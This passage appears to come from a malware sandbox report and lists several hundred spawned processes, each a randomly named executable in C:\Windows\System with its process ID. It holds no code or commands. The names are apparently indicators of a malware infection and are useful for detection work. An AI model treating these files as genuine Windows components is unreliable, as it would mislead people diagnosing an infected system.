  C:\Windows\System\ccgYwuq.exe
  2⤵
  PID:744
- C:\Windows\System\OsfYByW.exe
  C:\Windows\System\OsfYByW.exe
  2⤵
  PID:10744
- C:\Windows\System\IrTtTjk.exe
  C:\Windows\System\IrTtTjk.exe
  2⤵
  PID:10596
- C:\Windows\System\OvfpONK.exe
  C:\Windows\System\OvfpONK.exe
  2⤵
  PID:10436
- C:\Windows\System\KAimJzq.exe
  C:\Windows\System\KAimJzq.exe
  2⤵
  PID:5500
- C:\Windows\System\hFgNHIN.exe
  C:\Windows\System\hFgNHIN.exe
  2⤵
  PID:12192
- C:\Windows\System\kfbJhzj.exe
  C:\Windows\System\kfbJhzj.exe
  2⤵
  PID:6128
- C:\Windows\System\PuTSBBr.exe
  C:\Windows\System\PuTSBBr.exe
  2⤵
  PID:12340
- C:\Windows\System\YKahbWU.exe
  C:\Windows\System\YKahbWU.exe
  2⤵
  PID:12384
- C:\Windows\System\VNXchCO.exe
  C:\Windows\System\VNXchCO.exe
  2⤵
  PID:12404
- C:\Windows\System\OEgGOJO.exe
  C:\Windows\System\OEgGOJO.exe
  2⤵
  PID:12592
- C:\Windows\System\TJvXuLU.exe
  C:\Windows\System\TJvXuLU.exe
  2⤵
  PID:12608
- C:\Windows\System\YJqEfDz.exe
  C:\Windows\System\YJqEfDz.exe
  2⤵
  PID:12708
- C:\Windows\System\nhDZbIx.exe
  C:\Windows\System\nhDZbIx.exe
  2⤵
  PID:12820
- C:\Windows\System\LcEzyXZ.exe
  C:\Windows\System\LcEzyXZ.exe
  2⤵
  PID:12980
- C:\Windows\System\DJjzNlB.exe
  C:\Windows\System\DJjzNlB.exe
  2⤵
  PID:13008
- C:\Windows\System\kNGQyCx.exe
  C:\Windows\System\kNGQyCx.exe
  2⤵
  PID:13028
- C:\Windows\System\ahJvdUb.exe
  C:\Windows\System\ahJvdUb.exe
  2⤵
  PID:13044
- C:\Windows\System\epHStUz.exe
  C:\Windows\System\epHStUz.exe
  2⤵
  PID:13092
- C:\Windows\System\BRcOjMe.exe
  C:\Windows\System\BRcOjMe.exe
  2⤵
  PID:12368
- C:\Windows\System\skZKJGa.exe
  C:\Windows\System\skZKJGa.exe
  2⤵
  PID:10792
- C:\Windows\System\rFxXIPV.exe
  C:\Windows\System\rFxXIPV.exe
  2⤵
  PID:3168
- C:\Windows\System\nkBvCYN.exe
  C:\Windows\System\nkBvCYN.exe
  2⤵
  PID:12292
- C:\Windows\System\FLMBTQN.exe
  C:\Windows\System\FLMBTQN.exe
  2⤵
  PID:11844
- C:\Windows\System\eCuFBVU.exe
  C:\Windows\System\eCuFBVU.exe
  2⤵
  PID:12656
- C:\Windows\System\sbkfUNH.exe
  C:\Windows\System\sbkfUNH.exe
  2⤵
  PID:12200
- C:\Windows\System\KcIkxmm.exe
  C:\Windows\System\KcIkxmm.exe
  2⤵
  PID:5988
- C:\Windows\System\suseNNn.exe
  C:\Windows\System\suseNNn.exe
  2⤵
  PID:12668
- C:\Windows\System\kaqjZUT.exe
  C:\Windows\System\kaqjZUT.exe
  2⤵
  PID:12460
- C:\Windows\System\ukdaBVk.exe
  C:\Windows\System\ukdaBVk.exe
  2⤵
  PID:11576
- C:\Windows\System\BfSoxWI.exe
  C:\Windows\System\BfSoxWI.exe
  2⤵
  PID:5192
- C:\Windows\System\qeAfTvb.exe
  C:\Windows\System\qeAfTvb.exe
  2⤵
  PID:11360
- C:\Windows\System\IHFlHqe.exe
  C:\Windows\System\IHFlHqe.exe
  2⤵
  PID:12764
- C:\Windows\System\xqgiiQv.exe
  C:\Windows\System\xqgiiQv.exe
  2⤵
  PID:5064
- C:\Windows\System\qOlxFqU.exe
  C:\Windows\System\qOlxFqU.exe
  2⤵
  PID:12804
- C:\Windows\System\oCllsDd.exe
  C:\Windows\System\oCllsDd.exe
  2⤵
  PID:12548
- C:\Windows\System\QtWFlNp.exe
  C:\Windows\System\QtWFlNp.exe
  2⤵
  PID:12372
- C:\Windows\System\ugjohLL.exe
  C:\Windows\System\ugjohLL.exe
  2⤵
  PID:12956
- C:\Windows\System\HiZZffY.exe
  C:\Windows\System\HiZZffY.exe
  2⤵
  PID:9580
- C:\Windows\System\UZqKLoU.exe
  C:\Windows\System\UZqKLoU.exe
  2⤵
  PID:13112
- C:\Windows\System\feYbCSC.exe
  C:\Windows\System\feYbCSC.exe
  2⤵
  PID:12928
- C:\Windows\System\lcituLK.exe
  C:\Windows\System\lcituLK.exe
  2⤵
  PID:12696
- C:\Windows\System\CnySsFe.exe
  C:\Windows\System\CnySsFe.exe
  2⤵
  PID:12740
- C:\Windows\System\JuzHatI.exe
  C:\Windows\System\JuzHatI.exe
  2⤵
  PID:12756
- C:\Windows\System\JIRzALR.exe
  C:\Windows\System\JIRzALR.exe
  2⤵
  PID:12812
- C:\Windows\System\SdznXlF.exe
  C:\Windows\System\SdznXlF.exe
  2⤵
  PID:12840
- C:\Windows\System\gMYkyEw.exe
  C:\Windows\System\gMYkyEw.exe
  2⤵
  PID:12872
- C:\Windows\System\zbKrjYu.exe
  C:\Windows\System\zbKrjYu.exe
  2⤵
  PID:12940
- C:\Windows\System\eEqivlg.exe
  C:\Windows\System\eEqivlg.exe
  2⤵
  PID:12948
- C:\Windows\System\lyuPZoN.exe
  C:\Windows\System\lyuPZoN.exe
  2⤵
  PID:13004
- C:\Windows\System\IHrBuWS.exe
  C:\Windows\System\IHrBuWS.exe
  2⤵
  PID:13040
- C:\Windows\System\UeAojYb.exe
  C:\Windows\System\UeAojYb.exe
  2⤵
  PID:13072
- C:\Windows\System\YqxquMB.exe
  C:\Windows\System\YqxquMB.exe
  2⤵
  PID:13088
- C:\Windows\System\oJaaAmG.exe
  C:\Windows\System\oJaaAmG.exe
  2⤵
  PID:13120
- C:\Windows\System\nlDYeKl.exe
  C:\Windows\System\nlDYeKl.exe
  2⤵
  PID:13140
- C:\Windows\System\IbINHid.exe
  C:\Windows\System\IbINHid.exe
  2⤵
  PID:13164
- C:\Windows\System\XqYAZuu.exe
  C:\Windows\System\XqYAZuu.exe
  2⤵
  PID:8248
- C:\Windows\System\SWoRyrc.exe
  C:\Windows\System\SWoRyrc.exe
  2⤵
  PID:13288
- C:\Windows\System\xkEZlbb.exe
  C:\Windows\System\xkEZlbb.exe
  2⤵
  PID:4980
- C:\Windows\System\KZAgvLR.exe
  C:\Windows\System\KZAgvLR.exe
  2⤵
  PID:11816
- C:\Windows\System\zdWhFFv.exe
  C:\Windows\System\zdWhFFv.exe
  2⤵
  PID:13168
- C:\Windows\System\KguXCff.exe
  C:\Windows\System\KguXCff.exe
  2⤵
  PID:4840
- C:\Windows\System\mXCVrYO.exe
  C:\Windows\System\mXCVrYO.exe
  2⤵
  PID:11788
- C:\Windows\System\haKcacI.exe
  C:\Windows\System\haKcacI.exe
  2⤵
  PID:3688
- C:\Windows\System\BGefNRR.exe
  C:\Windows\System\BGefNRR.exe
  2⤵
  PID:2500
- C:\Windows\System\sbLZVhO.exe
  C:\Windows\System\sbLZVhO.exe
  2⤵
  PID:5212
- C:\Windows\System\NlIEcIv.exe
  C:\Windows\System\NlIEcIv.exe
  2⤵
  PID:3020
- C:\Windows\System\jtChrOE.exe
  C:\Windows\System\jtChrOE.exe
  2⤵
  PID:5236
- C:\Windows\System\VbcXnKI.exe
  C:\Windows\System\VbcXnKI.exe
  2⤵
  PID:13248
- C:\Windows\System\sYshsYd.exe
  C:\Windows\System\sYshsYd.exe
  2⤵
  PID:13292
- C:\Windows\System\OjZuHjP.exe
  C:\Windows\System\OjZuHjP.exe
  2⤵
  PID:5204
- C:\Windows\System\hPfCePk.exe
  C:\Windows\System\hPfCePk.exe
  2⤵
  PID:2140
- C:\Windows\System\wEVQxQA.exe
  C:\Windows\System\wEVQxQA.exe
  2⤵
  PID:2192
- C:\Windows\System\AftEdIC.exe
  C:\Windows\System\AftEdIC.exe
  2⤵
  PID:12244
- C:\Windows\System\zvcybcX.exe
  C:\Windows\System\zvcybcX.exe
  2⤵
  PID:3628
- C:\Windows\System\fEgSnBU.exe
  C:\Windows\System\fEgSnBU.exe
  2⤵
  PID:6076
- C:\Windows\System\heLIElg.exe
  C:\Windows\System\heLIElg.exe
  2⤵
  PID:4872
- C:\Windows\System\NbSYCLc.exe
  C:\Windows\System\NbSYCLc.exe
  2⤵
  PID:12676
- C:\Windows\System\ILsaagv.exe
  C:\Windows\System\ILsaagv.exe
  2⤵
  PID:12720
- C:\Windows\System\FhUITJK.exe
  C:\Windows\System\FhUITJK.exe
  2⤵
  PID:12180
- C:\Windows\System\NRDiaFV.exe
  C:\Windows\System\NRDiaFV.exe
  2⤵
  PID:11596
- C:\Windows\System\yjMrVfZ.exe
  C:\Windows\System\yjMrVfZ.exe
  2⤵
  PID:5780
- C:\Windows\System\qDRpnUR.exe
  C:\Windows\System\qDRpnUR.exe
  2⤵
  PID:5624
- C:\Windows\System\snKjyDV.exe
  C:\Windows\System\snKjyDV.exe
  2⤵
  PID:2996
- C:\Windows\System\FMwAXeD.exe
  C:\Windows\System\FMwAXeD.exe
  2⤵
  PID:6040
- C:\Windows\System\phFBOJv.exe
  C:\Windows\System\phFBOJv.exe
  2⤵
  PID:12952
- C:\Windows\System\XmpLrxD.exe
  C:\Windows\System\XmpLrxD.exe
  2⤵
  PID:3592
- C:\Windows\System\GgleuCe.exe
  C:\Windows\System\GgleuCe.exe
  2⤵
  PID:4520
- C:\Windows\System\XODtfsk.exe
  C:\Windows\System\XODtfsk.exe
  2⤵
  PID:5008
- C:\Windows\System\ZxUcApG.exe
  C:\Windows\System\ZxUcApG.exe
  2⤵
  PID:12788
- C:\Windows\System\SFdbXlU.exe
  C:\Windows\System\SFdbXlU.exe
  2⤵
  PID:12728
- C:\Windows\System\gYvJMmw.exe
  C:\Windows\System\gYvJMmw.exe
  2⤵
  PID:4404
- C:\Windows\System\HhNsUWF.exe
  C:\Windows\System\HhNsUWF.exe
  2⤵
  PID:12748
- C:\Windows\System\QrGfTQR.exe
  C:\Windows\System\QrGfTQR.exe
  2⤵
  PID:4564
- C:\Windows\System\NzfUKLv.exe
  C:\Windows\System\NzfUKLv.exe
  2⤵
  PID:6240
- C:\Windows\System\mnuvtfv.exe
  C:\Windows\System\mnuvtfv.exe
  2⤵
  PID:4072
- C:\Windows\System\BQXvkRA.exe
  C:\Windows\System\BQXvkRA.exe
  2⤵
  PID:13240
- C:\Windows\System\TTkMaZS.exe
  C:\Windows\System\TTkMaZS.exe
  2⤵
  PID:12316
- C:\Windows\System\TQCVmgj.exe
  C:\Windows\System\TQCVmgj.exe
  2⤵
  PID:13332
- C:\Windows\System\sdbnePq.exe
  C:\Windows\System\sdbnePq.exe
  2⤵
  PID:13352
- C:\Windows\System\FTPwuZv.exe
  C:\Windows\System\FTPwuZv.exe
  2⤵
  PID:13796
- C:\Windows\System\SWzRsEQ.exe
  C:\Windows\System\SWzRsEQ.exe
  2⤵
  PID:13956
- C:\Windows\System\lmeDVuG.exe
  C:\Windows\System\lmeDVuG.exe
  2⤵
  PID:13996
- C:\Windows\System\BcFyVVr.exe
  C:\Windows\System\BcFyVVr.exe
  2⤵
  PID:14040
- C:\Windows\System\PxmJaxJ.exe
  C:\Windows\System\PxmJaxJ.exe
  2⤵
  PID:14072
- C:\Windows\System\iNJnBvi.exe
  C:\Windows\System\iNJnBvi.exe
  2⤵
  PID:14092
- C:\Windows\System\VNZUVSZ.exe
  C:\Windows\System\VNZUVSZ.exe
  2⤵
  PID:14116
- C:\Windows\System\oROcBHM.exe
  C:\Windows\System\oROcBHM.exe
  2⤵
  PID:14160
- C:\Windows\System\HJezIYP.exe
  C:\Windows\System\HJezIYP.exe
  2⤵
  PID:14180
- C:\Windows\System\hqzAcSk.exe
  C:\Windows\System\hqzAcSk.exe
  2⤵
  PID:14248
- C:\Windows\System\QOXgRLA.exe
  C:\Windows\System\QOXgRLA.exe
  2⤵
  PID:14272
- C:\Windows\System\BCcfdvp.exe
  C:\Windows\System\BCcfdvp.exe
  2⤵
  PID:5448
- C:\Windows\System\soIUhek.exe
  C:\Windows\System\soIUhek.exe
  2⤵
  PID:5784
- C:\Windows\System\OhvJnwo.exe
  C:\Windows\System\OhvJnwo.exe
  2⤵
  PID:13080
- C:\Windows\System\zGbAVKz.exe
  C:\Windows\System\zGbAVKz.exe
  2⤵
  PID:12168
- C:\Windows\System\LHCGnaM.exe
  C:\Windows\System\LHCGnaM.exe
  2⤵
  PID:1176
- C:\Windows\System\AeizcFe.exe
  C:\Windows\System\AeizcFe.exe
  2⤵
  PID:12104
- C:\Windows\System\AAEdWks.exe
  C:\Windows\System\AAEdWks.exe
  2⤵
  PID:3364
- C:\Windows\System\lwfnfwg.exe
  C:\Windows\System\lwfnfwg.exe
  2⤵
  PID:5596
- C:\Windows\System\POMBWaz.exe
  C:\Windows\System\POMBWaz.exe
  2⤵
  PID:11992
- C:\Windows\System\TnExUHz.exe
  C:\Windows\System\TnExUHz.exe
  2⤵
  PID:5760
- C:\Windows\System\OBTpacm.exe
  C:\Windows\System\OBTpacm.exe
  2⤵
  PID:11512
- C:\Windows\System\ZpnyCTJ.exe
  C:\Windows\System\ZpnyCTJ.exe
  2⤵
  PID:13304
- C:\Windows\System\kHpiBJp.exe
  C:\Windows\System\kHpiBJp.exe
  2⤵
  PID:12644
- C:\Windows\System\uHjuqHI.exe
  C:\Windows\System\uHjuqHI.exe
  2⤵
  PID:8608
- C:\Windows\System\AtzgAdZ.exe
  C:\Windows\System\AtzgAdZ.exe
  2⤵
  PID:3372
- C:\Windows\System\ntciyLI.exe
  C:\Windows\System\ntciyLI.exe
  2⤵
  PID:4116
- C:\Windows\System\jpdqfMP.exe
  C:\Windows\System\jpdqfMP.exe
  2⤵
  PID:13344
- C:\Windows\System\HyVfJoS.exe
  C:\Windows\System\HyVfJoS.exe
  2⤵
  PID:6108
- C:\Windows\System\iGwsuRj.exe
  C:\Windows\System\iGwsuRj.exe
  2⤵
  PID:13468
- C:\Windows\System\SPhsFow.exe
  C:\Windows\System\SPhsFow.exe
  2⤵
  PID:13524
- C:\Windows\System\jpcEWZP.exe
  C:\Windows\System\jpcEWZP.exe
  2⤵
  PID:13568
- C:\Windows\System\puMYHfK.exe
  C:\Windows\System\puMYHfK.exe
  2⤵
  PID:13624
- C:\Windows\System\lWeQiNl.exe
  C:\Windows\System\lWeQiNl.exe
  2⤵
  PID:13776
- C:\Windows\System\LPNbgfZ.exe
  C:\Windows\System\LPNbgfZ.exe
  2⤵
  PID:13792
- C:\Windows\System\KLPxoOU.exe
  C:\Windows\System\KLPxoOU.exe
  2⤵
  PID:756
- C:\Windows\System\XdvimWt.exe
  C:\Windows\System\XdvimWt.exe
  2⤵
  PID:13784
- C:\Windows\System\cFTZXdG.exe
  C:\Windows\System\cFTZXdG.exe
  2⤵
  PID:13852
- C:\Windows\System\YUVNOZl.exe
  C:\Windows\System\YUVNOZl.exe
  2⤵
  PID:13908
- C:\Windows\System\MLOuWpc.exe
  C:\Windows\System\MLOuWpc.exe
  2⤵
  PID:14012
- C:\Windows\System\zBhViFt.exe
  C:\Windows\System\zBhViFt.exe
  2⤵
  PID:14100
- C:\Windows\System\ICmlMbw.exe
  C:\Windows\System\ICmlMbw.exe
  2⤵
  PID:5636
- C:\Windows\System\sjEGSKF.exe
  C:\Windows\System\sjEGSKF.exe
  2⤵
  PID:14244
- C:\Windows\System\YvwPExf.exe
  C:\Windows\System\YvwPExf.exe
  2⤵
  PID:1556
- C:\Windows\System\kIjiDWp.exe
  C:\Windows\System\kIjiDWp.exe
  2⤵
  PID:5124
- C:\Windows\System\zxGmZHG.exe
  C:\Windows\System\zxGmZHG.exe
  2⤵
  PID:12320
- C:\Windows\System\cAxfIvb.exe
  C:\Windows\System\cAxfIvb.exe
  2⤵
  PID:5932
- C:\Windows\System\vpmRnpI.exe
  C:\Windows\System\vpmRnpI.exe
  2⤵
  PID:5872
- C:\Windows\System\MYodfXE.exe
  C:\Windows\System\MYodfXE.exe
  2⤵
  PID:4472
- C:\Windows\System\JxGQBdh.exe
  C:\Windows\System\JxGQBdh.exe
  2⤵
  PID:13540
- C:\Windows\System\koOIjGV.exe
  C:\Windows\System\koOIjGV.exe
  2⤵
  PID:13544
- C:\Windows\System\xfmyXdz.exe
  C:\Windows\System\xfmyXdz.exe
  2⤵
  PID:13872
- C:\Windows\System\AeqEabM.exe
  C:\Windows\System\AeqEabM.exe
  2⤵
  PID:13660
- C:\Windows\System\zoLGGeD.exe
  C:\Windows\System\zoLGGeD.exe
  2⤵
  PID:6012
- C:\Windows\System\okUeUVR.exe
  C:\Windows\System\okUeUVR.exe
  2⤵
  PID:13328
- C:\Windows\System\lvBuIGY.exe
  C:\Windows\System\lvBuIGY.exe
  2⤵
  PID:13984
- C:\Windows\System\UaOfdWz.exe
  C:\Windows\System\UaOfdWz.exe
  2⤵
  PID:12780
- C:\Windows\System\sDabXxm.exe
  C:\Windows\System\sDabXxm.exe
  2⤵
  PID:14152
- C:\Windows\System\Zlepmwi.exe
  C:\Windows\System\Zlepmwi.exe
  2⤵
  PID:5912
- C:\Windows\System\JPQooxD.exe
  C:\Windows\System\JPQooxD.exe
  2⤵
  PID:14256
- C:\Windows\System\jmsHNxb.exe
  C:\Windows\System\jmsHNxb.exe
  2⤵
  PID:12136
- C:\Windows\System\qJxEdic.exe
  C:\Windows\System\qJxEdic.exe
  2⤵
  PID:5380
- C:\Windows\System\gtiGpJf.exe
  C:\Windows\System\gtiGpJf.exe
  2⤵
  PID:12992
- C:\Windows\System\hEEustR.exe
  C:\Windows\System\hEEustR.exe
  2⤵
  PID:13452
- C:\Windows\System\YHxcBed.exe
  C:\Windows\System\YHxcBed.exe
  2⤵
  PID:12884
- C:\Windows\System\wTYHCQz.exe
  C:\Windows\System\wTYHCQz.exe
  2⤵
  PID:4348
- C:\Windows\System\TCjtLRQ.exe
  C:\Windows\System\TCjtLRQ.exe
  2⤵
  PID:13460
- C:\Windows\System\EaVusVJ.exe
  C:\Windows\System\EaVusVJ.exe
  2⤵
  PID:14296
- C:\Windows\System\ybGgVyN.exe
  C:\Windows\System\ybGgVyN.exe
  2⤵
  PID:13844
- C:\Windows\System\IJRyeuf.exe
  C:\Windows\System\IJRyeuf.exe
  2⤵
  PID:13492
- C:\Windows\System\psXORVi.exe
  C:\Windows\System\psXORVi.exe
  2⤵
  PID:13156
- C:\Windows\System\JkLeebL.exe
  C:\Windows\System\JkLeebL.exe
  2⤵
  PID:6512
- C:\Windows\System\dcaPxDc.exe
  C:\Windows\System\dcaPxDc.exe
  2⤵
  PID:13500
- C:\Windows\System\dvslpAv.exe
  C:\Windows\System\dvslpAv.exe
  2⤵
  PID:5172
- C:\Windows\System\rIFLPpk.exe
  C:\Windows\System\rIFLPpk.exe
  2⤵
  PID:3644
- C:\Windows\System\ygHlTAZ.exe
  C:\Windows\System\ygHlTAZ.exe
  2⤵
  PID:3856
- C:\Windows\System\kkUbRxi.exe
  C:\Windows\System\kkUbRxi.exe
  2⤵
  PID:14060
- C:\Windows\System\gRfaeUX.exe
  C:\Windows\System\gRfaeUX.exe
  2⤵
  PID:6228
- C:\Windows\System\qrKpejS.exe
  C:\Windows\System\qrKpejS.exe
  2⤵
  PID:7096
- C:\Windows\System\uEqgbbZ.exe
  C:\Windows\System\uEqgbbZ.exe
  2⤵
  PID:6380
- C:\Windows\System\yNWUxXi.exe
  C:\Windows\System\yNWUxXi.exe
  2⤵
  PID:13900
- C:\Windows\System\XGixkde.exe
  C:\Windows\System\XGixkde.exe
  2⤵
  PID:6164
- C:\Windows\System\QNjAkQH.exe
  C:\Windows\System\QNjAkQH.exe
  2⤵
  PID:14516
- C:\Windows\System\oUPjTNP.exe
  C:\Windows\System\oUPjTNP.exe
  2⤵
  PID:14532
- C:\Windows\System\xAOmPrn.exe
  C:\Windows\System\xAOmPrn.exe
  2⤵
  PID:14556
- C:\Windows\System\dRnzPEX.exe
  C:\Windows\System\dRnzPEX.exe
  2⤵
  PID:14572
- C:\Windows\System\FoEZCJu.exe
  C:\Windows\System\FoEZCJu.exe
  2⤵
  PID:14588
- C:\Windows\System\oduorsa.exe
  C:\Windows\System\oduorsa.exe
  2⤵
  PID:14624
- C:\Windows\System\yuqqrSN.exe
  C:\Windows\System\yuqqrSN.exe
  2⤵
  PID:14656
- C:\Windows\System\GXIpsIA.exe
  C:\Windows\System\GXIpsIA.exe
  2⤵
  PID:14672
- C:\Windows\System\OCXIMoJ.exe
  C:\Windows\System\OCXIMoJ.exe
  2⤵
  PID:14700
- C:\Windows\System\DwnhxxL.exe
  C:\Windows\System\DwnhxxL.exe
  2⤵
  PID:14724
- C:\Windows\System\vGjnjiU.exe
  C:\Windows\System\vGjnjiU.exe
  2⤵
  PID:14744
- C:\Windows\System\LCvWJzC.exe
  C:\Windows\System\LCvWJzC.exe
  2⤵
  PID:14760
- C:\Windows\System\BxxGiUP.exe
  C:\Windows\System\BxxGiUP.exe
  2⤵
  PID:14776
- C:\Windows\System\XwIrQhC.exe
  C:\Windows\System\XwIrQhC.exe
  2⤵
  PID:14792
- C:\Windows\System\uYTEYsQ.exe
  C:\Windows\System\uYTEYsQ.exe
  2⤵
  PID:14808
- C:\Windows\System\xKQCdXI.exe
  C:\Windows\System\xKQCdXI.exe
  2⤵
  PID:14828
- C:\Windows\System\LrWpJGN.exe
  C:\Windows\System\LrWpJGN.exe
  2⤵
  PID:14844
- C:\Windows\System\ZtdDqIV.exe
  C:\Windows\System\ZtdDqIV.exe
  2⤵
  PID:14860
- C:\Windows\System\nTFIhVy.exe
  C:\Windows\System\nTFIhVy.exe
  2⤵
  PID:14876
- C:\Windows\System\TiwKwAf.exe
  C:\Windows\System\TiwKwAf.exe
  2⤵
  PID:14892
- C:\Windows\System\tMwWyYj.exe
  C:\Windows\System\tMwWyYj.exe
  2⤵
  PID:14908
- C:\Windows\System\XSEUvHs.exe
  C:\Windows\System\XSEUvHs.exe
  2⤵
  PID:14924
- C:\Windows\System\vEMBYeA.exe
  C:\Windows\System\vEMBYeA.exe
  2⤵
  PID:14944
- C:\Windows\System\piDQTpQ.exe
  C:\Windows\System\piDQTpQ.exe
  2⤵
  PID:14984
- C:\Windows\System\FZlhwmB.exe
  C:\Windows\System\FZlhwmB.exe
  2⤵
  PID:15000
- C:\Windows\System\WIJGNwF.exe
  C:\Windows\System\WIJGNwF.exe
  2⤵
  PID:15016
- C:\Windows\System\YJFzIWE.exe
  C:\Windows\System\YJFzIWE.exe
  2⤵
  PID:15040
- C:\Windows\System\pRqZWgJ.exe
  C:\Windows\System\pRqZWgJ.exe
  2⤵
  PID:15064
- C:\Windows\System\dRywVEV.exe
  C:\Windows\System\dRywVEV.exe
  2⤵
  PID:15084
- C:\Windows\System\gMREUDB.exe
  C:\Windows\System\gMREUDB.exe
  2⤵
  PID:15104
- C:\Windows\System\MddcVIy.exe
  C:\Windows\System\MddcVIy.exe
  2⤵
  PID:15124
- C:\Windows\System\XEoGjzA.exe
  C:\Windows\System\XEoGjzA.exe
  2⤵
  PID:15216
- C:\Windows\System\knHJsge.exe
  C:\Windows\System\knHJsge.exe
  2⤵
  PID:15264
- C:\Windows\System\xrWbpis.exe
  C:\Windows\System\xrWbpis.exe
  2⤵
  PID:15284
- C:\Windows\System\xVsLFXj.exe
  C:\Windows\System\xVsLFXj.exe
  2⤵
  PID:15304
- C:\Windows\System\sXvnqAr.exe
  C:\Windows\System\sXvnqAr.exe
  2⤵
  PID:15324
- C:\Windows\System\VBzGrsh.exe
  C:\Windows\System\VBzGrsh.exe
  2⤵
  PID:3216
- C:\Windows\System\DBDUxls.exe
  C:\Windows\System\DBDUxls.exe
  2⤵
  PID:7128
- C:\Windows\System\SAknuhd.exe
  C:\Windows\System\SAknuhd.exe
  2⤵
  PID:7872
- C:\Windows\System\iilLyei.exe
  C:\Windows\System\iilLyei.exe
  2⤵
  PID:6924
- C:\Windows\System\ghNwHDw.exe
  C:\Windows\System\ghNwHDw.exe
  2⤵
  PID:14544
- C:\Windows\System\DkYFcyD.exe
  C:\Windows\System\DkYFcyD.exe
  2⤵
  PID:7596
- C:\Windows\System\GnVIaTf.exe
  C:\Windows\System\GnVIaTf.exe
  2⤵
  PID:7812
- C:\Windows\System\ZFXpoIF.exe
  C:\Windows\System\ZFXpoIF.exe
  2⤵
  PID:14652
- C:\Windows\System\ZwSPiqS.exe
  C:\Windows\System\ZwSPiqS.exe
  2⤵
  PID:14904
- C:\Windows\System\AHMHPIb.exe
  C:\Windows\System\AHMHPIb.exe
  2⤵
  PID:14964
- C:\Windows\System\OOaQXUR.exe
  C:\Windows\System\OOaQXUR.exe
  2⤵
  PID:14524
- C:\Windows\System\dHPHWWp.exe
  C:\Windows\System\dHPHWWp.exe
  2⤵
  PID:14784
- C:\Windows\System\ZXlBgoK.exe
  C:\Windows\System\ZXlBgoK.exe
  2⤵
  PID:15012
- C:\Windows\System\MoZAdIl.exe
  C:\Windows\System\MoZAdIl.exe
  2⤵
  PID:15248
- C:\Windows\System\bUFiEWu.exe
  C:\Windows\System\bUFiEWu.exe
  2⤵
  PID:15252
- C:\Windows\System\kSilZjA.exe
  C:\Windows\System\kSilZjA.exe
  2⤵
  PID:15356
- C:\Windows\System\mFprWgb.exe
  C:\Windows\System\mFprWgb.exe
  2⤵
  PID:6552
- C:\Windows\System\nNccyTN.exe
  C:\Windows\System\nNccyTN.exe
  2⤵
  PID:8072
- C:\Windows\System\CfMGKpQ.exe
  C:\Windows\System\CfMGKpQ.exe
  2⤵
  PID:15292
- C:\Windows\System\FAgaxRR.exe
  C:\Windows\System\FAgaxRR.exe
  2⤵
  PID:13396
- C:\Windows\System\dkiinpi.exe
  C:\Windows\System\dkiinpi.exe
  2⤵
  PID:13688
- C:\Windows\System\KKotYgo.exe
  C:\Windows\System\KKotYgo.exe
  2⤵
  PID:6600
- C:\Windows\System\oAHWlQH.exe
  C:\Windows\System\oAHWlQH.exe
  2⤵
  PID:8084
- C:\Windows\System\THDpGtl.exe
  C:\Windows\System\THDpGtl.exe
  2⤵
  PID:15196
- C:\Windows\System\NCptbpk.exe
  C:\Windows\System\NCptbpk.exe
  2⤵
  PID:7616
- C:\Windows\System\AzKpWfU.exe
  C:\Windows\System\AzKpWfU.exe
  2⤵
  PID:8984
- C:\Windows\System\YzutpUR.exe
  C:\Windows\System\YzutpUR.exe
  2⤵
  PID:8200
- C:\Windows\System\aUIWBdN.exe
  C:\Windows\System\aUIWBdN.exe
  2⤵
  PID:8836
- C:\Windows\System\jFthNyV.exe
  C:\Windows\System\jFthNyV.exe
  2⤵
  PID:8148
- C:\Windows\System\zIztDuL.exe
  C:\Windows\System\zIztDuL.exe
  2⤵
  PID:14952
- C:\Windows\System\tCQrEtf.exe
  C:\Windows\System\tCQrEtf.exe
  2⤵
  PID:14356
- C:\Windows\System\QTzKwgB.exe
  C:\Windows\System\QTzKwgB.exe
  2⤵
  PID:7144
- C:\Windows\System\IpzAKbe.exe
  C:\Windows\System\IpzAKbe.exe
  2⤵
  PID:14616
- C:\Windows\System\ZvPGGwg.exe
  C:\Windows\System\ZvPGGwg.exe
  2⤵
  PID:15036
- C:\Windows\System\kSBFcPU.exe
  C:\Windows\System\kSBFcPU.exe
  2⤵
  PID:8448
- C:\Windows\System\tuBSDXh.exe
  C:\Windows\System\tuBSDXh.exe
  2⤵
  PID:8276
- C:\Windows\System\majttxP.exe
  C:\Windows\System\majttxP.exe
  2⤵
  PID:7512
- C:\Windows\System\ZkdcHlP.exe
  C:\Windows\System\ZkdcHlP.exe
  2⤵
  PID:7716
- C:\Windows\System\eTKrKJc.exe
  C:\Windows\System\eTKrKJc.exe
  2⤵
  PID:14512
- C:\Windows\System\VNdfqba.exe
  C:\Windows\System\VNdfqba.exe
  2⤵
  PID:6344
- C:\Windows\System\wUVJOYa.exe
  C:\Windows\System\wUVJOYa.exe
  2⤵
  PID:7896
- C:\Windows\System\eQlEHDd.exe
  C:\Windows\System\eQlEHDd.exe
  2⤵
  PID:7936
- C:\Windows\System\yOzsLUy.exe
  C:\Windows\System\yOzsLUy.exe
  2⤵
  PID:14552
- C:\Windows\System\sIdBMiG.exe
  C:\Windows\System\sIdBMiG.exe
  2⤵
  PID:6676
- C:\Windows\System\SvnuZlP.exe
  C:\Windows\System\SvnuZlP.exe
  2⤵
  PID:7824
- C:\Windows\System\BVKthra.exe
  C:\Windows\System\BVKthra.exe
  2⤵
  PID:8832
- C:\Windows\System\UgRXSlT.exe
  C:\Windows\System\UgRXSlT.exe
  2⤵
  PID:14708
- C:\Windows\System\TrqqsJp.exe
  C:\Windows\System\TrqqsJp.exe
  2⤵
  PID:8688
- C:\Windows\System\DKmQVBn.exe
  C:\Windows\System\DKmQVBn.exe
  2⤵
  PID:8392
- C:\Windows\System\oweXKGo.exe
  C:\Windows\System\oweXKGo.exe
  2⤵
  PID:15144
- C:\Windows\System\GTSBGJd.exe
  C:\Windows\System\GTSBGJd.exe
  2⤵
  PID:7012
- C:\Windows\System\RsrkIIZ.exe
  C:\Windows\System\RsrkIIZ.exe
  2⤵
  PID:8216
- C:\Windows\System\HSQKQem.exe
  C:\Windows\System\HSQKQem.exe
  2⤵
  PID:15224
- C:\Windows\System\HwCrEbq.exe
  C:\Windows\System\HwCrEbq.exe
  2⤵
  PID:6204
- C:\Windows\System\SwLZtqz.exe
  C:\Windows\System\SwLZtqz.exe
  2⤵
  PID:6668
- C:\Windows\System\cyRupRT.exe
  C:\Windows\System\cyRupRT.exe
  2⤵
  PID:5376
- C:\Windows\System\JbgZKiI.exe
  C:\Windows\System\JbgZKiI.exe
  2⤵
  PID:8412
- C:\Windows\System\VAkCUFY.exe
  C:\Windows\System\VAkCUFY.exe
  2⤵
  PID:8380
